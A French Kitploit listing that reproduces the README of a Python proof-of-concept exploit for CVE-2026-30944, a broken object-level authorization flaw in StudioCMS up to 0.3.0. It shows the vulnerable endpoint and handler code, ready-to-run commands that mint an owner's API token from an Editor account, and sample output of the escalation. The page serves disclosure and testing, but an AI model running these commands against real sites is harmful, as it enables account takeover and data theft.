Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-30944-PoC — # Preuve de concept en Python pour CVE-2026-30944, exploitant une vulnérabilité BOLA dans StudioCMS pour élever les privilèges via une génération non sécurisée de jetons API. | Kitploit
Outils/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité WebTests d'Intrusion
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
filipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

# Preuve de concept en Python pour CVE-2026-30944, exploitant une vulnérabilité BOLA dans StudioCMS pour élever les privilèges via une génération non sécurisée de jetons API.

Voir le dépôt
27il y a 6 moisPas encore vérifié

🔓 CVE-2026-30944

Élévation de privilèges StudioCMS via une génération de jeton API non sécurisée

CVE CVSS CWE Type

NVD • Avis de sécurité • CWE-639


Vue d'ensemble

Le point de terminaison POST /studiocms_api/dashboard/api-tokens dans StudioCMS ≤ 0.3.0 permet à tout utilisateur authentifié (au minimum avec le rôle Editor) de générer des jetons API pour n'importe quel autre utilisateur, y compris les comptes owner et admin.

Le point de terminaison accepte un paramètre user dans le corps de la requête spécifiant l'UUID de l'utilisateur cible mais ne valide jamais si l'utilisateur demandeur est autorisé à créer des jetons au nom de cette cible. Il s'agit d'une vulnérabilité classique de Broken Object Level Authorization (BOLA) qui entraîne une élévation complète des privilèges.

Flux d'attaque

┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attaquant  │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Serveur    │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Données utilisateur complètes en tant qu'Owner] │
       │                                           │

Détails de la vulnérabilité

ChampValeur
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (Élevé) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur
CWE (secondaire)CWE-863 : Autorisation incorrecte
MITRE ATT&CKT1134 — Manipulation de jetons d'accès
OWASP APIAPI1:2023 — Broken Object Level Authorization
Affectéstudiocms ≤ 0.3.0
Corrigé dansstudiocms 0.4.0

Contenu

FichierDescription
cve_2026_30944_poc.pyScript d'exploitation Python avec modes manuel et automatisé
README.mdCe fichier
LICENSELicence MIT

Prérequis

  • StudioCMS ≤ 0.3.0 (version vulnérable)
  • Python 3.8+
  • Identifiants valides pour au moins un compte Editor
pip install requests colorama

Démarrage rapide

Exploitation manuelle

# Générer un jeton API pour l'owner en utilisant un compte éditeur
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Enregistrer les résultats au format JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Tests automatisés

# Tester avec plusieurs rôles pour confirmer la vulnérabilité
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Arguments

Requis

ArgumentDescription
-u, --urlURL de base StudioCMS cible
--uuidUUID de l'utilisateur cible (par exemple, compte owner)

Mode manuel

ArgumentDescription
--usernameNom d'utilisateur pour l'authentification
--passwordMot de passe pour l'authentification

Mode de test automatisé

ArgumentDescription
--auto-testActiver les tests multi-rôles automatisés
--editor-userNom d'utilisateur du compte éditeur
--editor-passMot de passe du compte éditeur
--visitor-userNom d'utilisateur du compte visiteur
--visitor-passMot de passe du compte visiteur

Optionnel

ArgumentDescription
--saveEnregistrer les résultats dans un fichier JSON
--no-ssl-verifyDésactiver la vérification du certificat SSL

Exemple de sortie

Système vulnérable

  ──────────────────────────────────────────────────────────
  PHASE 1 : Authentification
  ──────────────────────────────────────────────────────────
  [+] Authentifié en tant que 'editor01'
  [*] Utilisateur de session : editor01 (editor)
  [*] UUID de session : 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2 : Élévation de privilèges
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Génération du jeton API pour l'utilisateur cible...
  [+] Jeton API généré avec succès !
  [!] Jeton : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3 : Vérification
  ──────────────────────────────────────────────────────────
  [*] Vérification de l'accès du jeton sur l'API REST...
  [+] VULNÉRABILITÉ CONFIRMÉE — Accès API complet obtenu !
  [*] 9 enregistrements utilisateur récupérés

Système corrigé

  ──────────────────────────────────────────────────────────
  PHASE 2 : Élévation de privilèges
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Génération du jeton API pour l'utilisateur cible...
  [*] Accès refusé (403 Forbidden) — le point de terminaison est peut-être corrigé
  [-] Échec de l'exploitation — jeton non généré

Cause racine

Le gestionnaire vulnérable dans packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lignes 16–57) accepte un paramètre user du corps JSON et le transmet directement à la fonction de génération de jeton sans vérifications d'autorisation :

// [1] Vérifie uniquement si l'appelant est éditeur — pas POUR QUI il crée un jeton
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' du corps de la requête — aucune validation par rapport à la session authentifiée
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Transmis directement à la génération de jeton — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

Le modèle d'autorisation vérifie uniquement « l'appelant est-il au moins un éditeur ? » au lieu de « l'appelant est-il autorisé à créer un jeton pour cet utilisateur spécifique ? »


Impact

Télécharger l’outil